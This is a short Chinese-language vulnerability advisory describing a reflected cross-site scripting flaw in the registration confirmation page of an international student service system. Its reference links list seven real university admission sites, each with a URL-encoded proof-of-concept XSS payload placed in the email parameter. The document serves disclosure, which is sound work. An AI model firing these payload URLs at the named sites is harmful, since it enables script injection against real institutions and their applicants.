关键漏洞信息 漏洞类型 Cross Site Scripting (XSS) 受影响组件 攻击类型 Remote 权限提升影响 true 攻击向量 系统的注册功能在发送注册请求包后，会自动发出一个跟进请求检查提交是否成功。如果成功，返回邮件注册成功的页面。在此过程中，电子邮件参数的值直接嵌入到返回页面HTML中的标签内。攻击者可以在注册时构造一个关闭标签的恶意负载，例如 ，使得注入的负载执行，导致反射型XSS攻击。 发现者 cyuyu 参考链接 https://admission.sues.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Etes... http://admission.ujs.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Ete... http://study-info.tongji.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Ete... http://is.tyut.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Etest%3C%... http://study.dufe.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Etes... http://apply.cau.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Etest%3C%... http://iama.suda.edu.cn/member/regconfirm.do?email=%3C%strong%3E%3Cmap%28onmousemove%3d%22alert(1)%22%3Etest%3C%... 产品供应商 http://www.17gz.org/ 受影响的产品代码库 International Student service system -1.0